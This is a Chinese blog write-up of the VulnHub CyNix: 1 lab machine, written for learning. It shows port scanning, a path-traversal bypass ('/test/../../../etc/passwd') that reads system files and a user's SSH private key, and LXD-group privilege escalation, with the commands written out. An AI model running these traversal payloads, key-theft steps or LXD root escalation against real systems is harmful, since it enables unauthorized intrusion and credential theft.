freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【原创】VulnHub靶机实战:CyNix: 1
2021-12-28 17:22:32
所属地 北京

一、 前言

Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。

二、环境

靶机名称:CyNix: 1

所属系列:CyNix

发布日期:2019年11月18日

难度:中等

目标:共有两个:User flag:user.txt、Root flag: root.txt

靶机地址:https://www.vulnhub.com/entry/cynix-1,394/#

IP地址类型说明
192.168.88.136靶机使用Vmware打开,网络连接方式设置为桥接,靶机自动获取IP,只能自己通过nmap探测靶机IP
192.168.88.157攻击者kali


三、测试过程


端口扫描

首先使用nmap 扫描端口信息

命令:nmap -v -T4 -p- 192.168.88.110

扫描结果如下:

image.png

发现只开了80和6688(ssh),抱着试试的心态拿出hydra疯狂爆破一波,发现没有什么卵用。还是老老实实从web下手吧;


打开浏览器访问一下80,发现存在一个Apache的默认页面

image.png


目录扫描

这里使用的kali里面的DIRB和御剑,用dirb默认的字典只扫出来了两个页面,index和server-status(server-status还是一个经典的403 Forbidden);

命令:dirb  http://192.168.88.136/

dirb扫描结果如下:

image.png


初恋版御剑扫描结果如下:

image.png


显然还存在其他页面,所以我尝试更换不同的字典,更换了几个字典之后终于出现了一个新的面孔,扫出来一个名为/lavalamp/的目录,事实证明:扫描目录,字典真的很重要~

image.png

漏洞发现

访问该目录之后出现了一个标题为Site is Still Under Development的页面,但是功能按钮几乎都不能使用,功能都未实现;

image.png

image.png



浏览一圈发现只有一个CONTACT US可以使用,可以正常提交相关信息

通过提交信息,burp抓包发现会把信息提交给一个canyoubypassme.php页面

image.png


访问之后映入眼帘的是一张黑阔帝国的剧照(密集恐惧症者需慎重)

http://192.168.88.136/lavalamp/canyoubypassme.php

image.png


看着就一张图片,翻了翻源码发现了一个有趣的css属性:opacity(透明度),而且值还是0.0,把这个table隐藏了

image.png


把透明度属性值调整为1.0之后,出现一个输入框与提交按钮

image.png


随便输入一些字符发现没有任何反应,只出现一个黑色框框,只有输入域名的时候会显示出来html代码

image.pngimage.png

打开burp进行抓包测试,发现总共有两个值file和read,测试之后发现read的值好像不影响,所以重心放在了file上,当值为:http://2130706433/http://127.0.0.1/http://localhost/其实任意一个的时候都会提示:“I'm watching you. Trying to access Localhost?”,所以好像127这里不太好用;

image.png

image.png


测试一波发现当file值为:“http://192.168.88.136/”的时候,会提示:“Hmmm, trying an IP? Haha, Try harder ;)”,只有file值为:“http://3232258184/”的时候才不会提示,但是在尝试读取文件的时候发现也不太好使,读取不了文件;

image.png


PS:上面所提到的IP地址127.0.0.1和数字地址2130706433,其实这两个都是指127.0.0.1,只不过表现形式不太一样;

image.png

我这里用的是php代码实现的,代码如下:



<?php

header("Content-Type:text/html;charset=utf-8");

echo '127.0.0.1的数字地址为:'.ip2long("127.0.0.1");

echo "</br>";

echo '192.168.88.136的数字地址为:';

echo sprintf("%u\n",ip2long("192.168.88.136"));

?>




网上有在线转换平台,如:IP转数字在线工具:http://www.jsons.cn/ipnum/



漏洞利用

所以只能另辟蹊径,尝试直接读取文件,当file=../../../../../../etc/passwd,提示不被允许

image.png

最后是在前面随便加上一个目录才绕过去,成功读取到了passwd文件

file=/test/../../../etc/passwd

image.png

这个passwd文件中有一个点比较重要:除了系统默认的之外,有一个名为ford,UID为1000且可以登录的用户;结合前面扫描的端口6688(ssh),所以接下来的突破点应该在ssh和这个用户...

image.png
于是尝试去读取ford的相关文件,在/home/ford/.ssh/找到了公钥、私钥,并将私钥保存到本地;



/home/ford/.ssh/id_rsa和/home/ford/.ssh/id_rsa.pub

image.png


拿到秘钥之后准备尝试登录,打开本地的Xshell,输入命令:ssh  ford@192.168.88.136 6688,用户身份验证方式选择“Public Key”,点击浏览,选择上一步保存到本地的私钥文件,点击确定,登录成功;

image.png

image.png

User flag:user.txt

本次靶机的flag其中一个是User flag:user.txt,flag通常在用户的家目录或者网站根目录,切换用户家目录,执行ls命令,发现第一个flag:user.txt;

image.png

权限提升

拿到第一个flag之后开始进行提权,使用id命令显示用户的UID以及所属组的GID,可以看到当前用户ford所属组中还有一个特殊的lxd组,这个是提权的关键点;

image.png


想要提升为root权限,需要为LXD创建一个镜像文件,首先在本机的kali中,通过git将构建好的alpine镜像克隆至本地,然后执行名为“build -alpine”的脚本,构建最新版本的Alpine镜像,将构建好的tar文件发送到目标服务器上;

命令:



git clone  https://github.com/saghul/lxd-alpine-builder.git

cd lxd-alpine-builder

./build-alpine



image.png完成上面操作之后会在当前目录下生成一个tar.gz镜像文件

image.png然后把这个文件发送到目标服务器上,我这里使用的是python自带的简单的服务器程序,在kali上运行:

命令:python3 -m http.server 8888

image.png开启之后,在目标靶机上使用wget命令将镜像下载到靶机上

命令:wget  http://192.168.88.157:8888/alpine-v3.11-x86_64-20191226_0324.tar.gz

image.png

下载完成之后,需要把镜像挂载到lxd中,然后检查一下当前可用容器,配置完成之后进入容器,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash之后,得到一个容器的shell。这个容器中包含了目标主机的全部资源,拥有该靶机的root权限,成功通过LXD提权;

命令:



lxc image import ./alpine-v3.11-x86_64-20191226_0324.tar.gz --alias myimage

lxc init myimage ignite -c security.privileged=true

lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

lxc start ignite

lxc exec ignite /bin/sh



image.png

Root flag: root.txt

最后尝试搜索第二个Root flag: root.txt,在root家目录下,至此本次靶机的渗透就已经结束~~~

image.png


四、总结

靶机导入vmware之后,网络适配器可以用NAT或者桥接都可以,但是需要自己去发现靶机IP,这个过程稍微比较麻烦;整个靶机渗透下来发现:前期进行目录扫描的时候很关键,多用几个扫描器,字典很重要,扫描到目录之后找到关键点,俗话说:简单的食材往往需要最高端的烹饪方式,最简单的页面可能就存在不简单的问题,其实在尝试绕过的时候我也是尝试了很久;最后就是提权,提权这个可能就需要心细和经验积累,如果之前没有遇到的话估计我也很难想到是LXD提权;

PS:如果有写的不好的地方还望大佬们多多指点,感谢~

参考链接:

https://www.exploit-db.com/exploits/46978

# VulnHub
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录